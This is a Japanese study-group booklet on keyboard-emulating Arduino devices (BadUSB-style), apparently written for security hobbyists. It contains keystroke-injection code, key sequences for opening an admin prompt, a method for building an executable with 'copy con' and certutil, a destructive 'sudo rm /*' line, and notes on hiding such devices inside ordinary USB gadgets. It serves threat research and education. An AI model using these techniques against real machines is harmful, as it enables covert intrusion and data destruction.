ハードウェアロジックボムで遊ぼう!
刊行 Ver0.1 @ 2016.11.05 オープンソースカンファレンス2016 Tokyo/Fall
**刊行 Ver0.2 @ 2016.11.06 〃 **
**刊行 Ver0.3 @ 2016.12.03 低レベル勉強会
秘密結社オープンフォース 河野
進化するセキュリティ対策と防げない穴
PCやスマホのセキュリティ対策は年々進歩しています。Windows95の時代には、エクスプローラで表示するだけ、CDを挿入するだけ、ワンクリックするだけ、Webで表示するだけ、メールを受信するだけ・・・でありとあらゆるプログラムが実行できました。当然ながら悪意を持ったプログラムを実行し放題。
流石にソレではまずいということがわかってきたので、管理者権限でないと実行ができなかったり証明書が無いと実行できなかったりするようになってきました。
利便性とセキュリティは相反するようなものですね。USBメモリは刺すだけで色んな物を実行できるようになっていましたが、Autorun.infが禁じられ、ウイルス対策ソフトはUSBメモリがプラグされる度にスキャンし、というようになってきています。
まともな組織ではUSBデバイスは禁止というところも増えてきています。
防げない穴
ところが、いくらUSBデバイスを禁じても穴があります。USBキーボードは繋げざるを得ません。そして、キーボードのように振る舞うデバイスは簡単に作成できます。そしてキーボード操作できるということは人間が操作しているように動作することができ、場合によっては管理者として自由に触れるということになります。
キーボードからいろんな動作をするデバイスを作るにはどうしたらいいでしょうか? ここでは、そういったデバイスを作って脅威の研究をしてみましょう。
BadUSB
同様のことは、以前より指摘されており有名なものは「BadUSB」として知られています。これは市販品のUSBデバイスのコントローラのプログラムを書き換えて、様々な動作をすることができるようになっているものです。
ArduinoでUSB機器に偽装したHIDデバイスをつくる
Arduinoのうち、コントローラにATMEGA32U4というマイコンを使っているタイプはプログラムでUSBデバイスを作ることができます。特に、HIDデバイスとしてキーボードを作るのはとても簡単です。
Arduinoとは
イタリア発の簡単なマイコン基板です。SBC(Single Board Computer)のうちのひとつです。ラピッドプロトタイピングに向いていて、簡単な電子工作はすぐに作ることができます。
Arduinoデバイスとケーブル
ARDUINO
人気のあるArduino Unoと同じ大きさのボードです。Arduino Uno+USBデバイスプログラムができると考えるといいでしょう。
ARDUINO MICRO
Arduino Leonardoと同じように使えて、コンパクトです。USBデバイスとして色んなものに内蔵するには小チラが便利でしょう。
付属互換機
中華製のArduino互換機です。pro microと書いてありますが、大きさは Arduino Pro Miniに似ています。
Leonardoとして動かすことができます。
ピンがついています。電子工作するときはピンをはんだづけしますが、今回の実験では特に使いません。
センサーなどをつなげて連動する時に使ったりします。
aitendoで買う互換機
ケーブル
通常はmicroUSBケーブルを使えばPCなどへ接続、およびプログラムができるようになります。
Androidなどに繋げるには、OTGケーブルが必要となります。
付属のArduino互換基板
本書には、本物のArduinoではありませんが、中華製の互換機を付録としてつけています。
本物との違いはD13のLEDが無いことです。「Lチカ」としてD13のLEDを点滅する実験をよくやりますが、その時に注意する必要があります。
作ってみよう
環境構築
Arduino.ccから開発環境をダウンロード&インストール。
ツールーボードマネジャで「Arduino Leonardo」 を選択
し、シリアルポートを選択
コードはこれだけ!!
#include "Keyboard.h"
void setup(){
Keyboard.begin();
}
void loop(){
delay(5000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
Keyboard.println("iexplore xshell.io\n");
}
最初の#include "Keyboard.h"
はバージョンによってはなくてもいいかも知れません。
Windowsキーを押して「ファイル名を指定して実行」を出し、ブラウザを出しています。
(僕の勤務先のWebサイトが出ます。決してブラウザクラッシャーではありません。)
攻撃コード
以下は、Arduinoのプログラムではなくキーボードコンビネーションを示します。
(各キーの定義は末尾の参考資料を参照のこと)
Windows
LogOUT:
Ctrl+Alt+Delete
+
Alt + I
Command Prompt:
Windows key + R
+
CMD + Enter
```![undefined]()
![undefined]()
### Mac OSX
LogOut:
COMMAND Key + Shift Key + Q
+
Enter
### Ubuntu
LogOut:
Ctrl+Alt+Delete
+
Enter
### Android
Depend on each device.
Logout: (few device )
Ctrl+Alt+Delete
### iOS
機材持ってないのでスミマセン
### やるなよ! 絶対やるなよ! Do Not
sudo rm /*
### キーボードだけで実行コードを作り出す(Windows)
「HIDプラント」と名づけています。HIDデバイスだけで、実行プログラムを作り出す方法です。
Windowsのバージョンによって動作は異なります。特に、Windows10とそれより前のバージョンではかなり異なるようです。
#### 管理者としてコマンドプロンプト起動
Windows key
Cmd + shift + F10
↓ + Enter + ← Enter
#### 16進コード作成
Copy con code.hex
Abcdef012345689 (16進コードを記述します)
Ctrl+Z
#### バイナリ生成+実行
certutil -f -decodehex code.hex code.exe 12
あらかじめ、16新コードは別マシンで作成し、hexファイルに変換します。 copy con code.hex でそのhexファイルの内容を書き出すようにプログラムを作ります。
Arduinoの内部に格納できるコードは限られているので、ある程度小さなコードにする必要があります。
# 脅威
トリガで発動するとキーボード入力を模擬して動作。
こういったものを排除するためには事前に動作をよく確認することが必要ですが、トリガ発動条件を工夫して、動作検証時にはバレないようにすることは簡単です。フォレンジックで検出できないデバイスが簡単にできてしまうことがよくわかるでしょう。
# 工作
デモとして、色んな物に仕込んでみました。
これは、USBメモリに偽装した例です。何の変哲もないUSBメモリに偽装しています。
![IMG_20161105_124627.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/384d9121-3fb5-96c0-89b8-6ab81c6029f8.jpeg)
中身はこのようになっています。
![IMG_20161105_124739.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/465c1ca9-a3f8-8894-3d94-38911d60f9f6.jpeg)
USBライトの例です。
![IMG_20161105_124827.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/c1821fd0-4b8e-3049-35e2-5b3ec23ec623.jpeg)
中身。
![IMG_20161105_124835.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/c8711a82-fd34-0c3a-57c7-34a0311e998c.jpeg)
USB充電スタンドの例です。
![IMG_20161105_124749.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/81523c6e-e8ac-b121-5c18-c568177c6cbd.jpeg)
中身。
![IMG_20161105_124757.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/38bf229e-2ab5-5edb-1363-f8fc63f6de6c.jpeg)
# 参考資料
## keyboard.hで定義されている特殊キー
#define KEY_LEFT_CTRL 0x80
#define KEY_LEFT_SHIFT 0x81
#define KEY_LEFT_ALT 0x82
#define KEY_LEFT_GUI 0x83
#define KEY_RIGHT_CTRL 0x84
#define KEY_RIGHT_SHIFT 0x85
#define KEY_RIGHT_ALT 0x86
#define KEY_RIGHT_GUI 0x87
#define KEY_UP_ARROW 0xDA
#define KEY_DOWN_ARROW 0xD9
#define KEY_LEFT_ARROW 0xD8
#define KEY_RIGHT_ARROW 0xD7
#define KEY_BACKSPACE 0xB2
#define KEY_TAB 0xB3
#define KEY_RETURN 0xB0
#define KEY_ESC 0xB1
#define KEY_INSERT 0xD1
#define KEY_DELETE 0xD4
#define KEY_PAGE_UP 0xD3
#define KEY_PAGE_DOWN 0xD6
#define KEY_HOME 0xD2
#define KEY_END 0xD5
#define KEY_CAPS_LOCK 0xC1
#define KEY_F1 0xC2
#define KEY_F2 0xC3
#define KEY_F3 0xC4
#define KEY_F4 0xC5
#define KEY_F5 0xC6
#define KEY_F6 0xC7
#define KEY_F7 0xC8
#define KEY_F8 0xC9
#define KEY_F9 0xCA
#define KEY_F10 0xCB
#define KEY_F11 0xCC
#define KEY_F12 0xCD
## 参考文献
BAD USB とは何か(そして何が BAD USB ではないか) http://plugable.com/japanese/badusb/
Arduino プロジェクト公式サイト https://www.arduino.cc/
Arduino 日本語リファレンス http://www.musashinodenpa.com/arduino/ref/
arduino-libraries/Keyboard https://github.com/arduino-libraries/Keyboard/blob/master/src/Keyboard.h
## 勉強会
このような内容の勉強会を、以下の場所で行っています。
・低レベル勉強会(東京都内で1,2ヶ月ごとに行っている勉強会。土曜日午後開催、セキュリティや電子工作、宇宙論の発表やハンズオン。)
[scale=0.35]![](./images/teilevel.png)
・オープンハードセキュリティ(東京都内で隔月で行っている勉強会。水曜日寄る開催。)
・オープンハードカンファレンス(全国で開催。セキュリティを含むオープンソースハードウェアを扱うカンファレンス。)
![undefined]()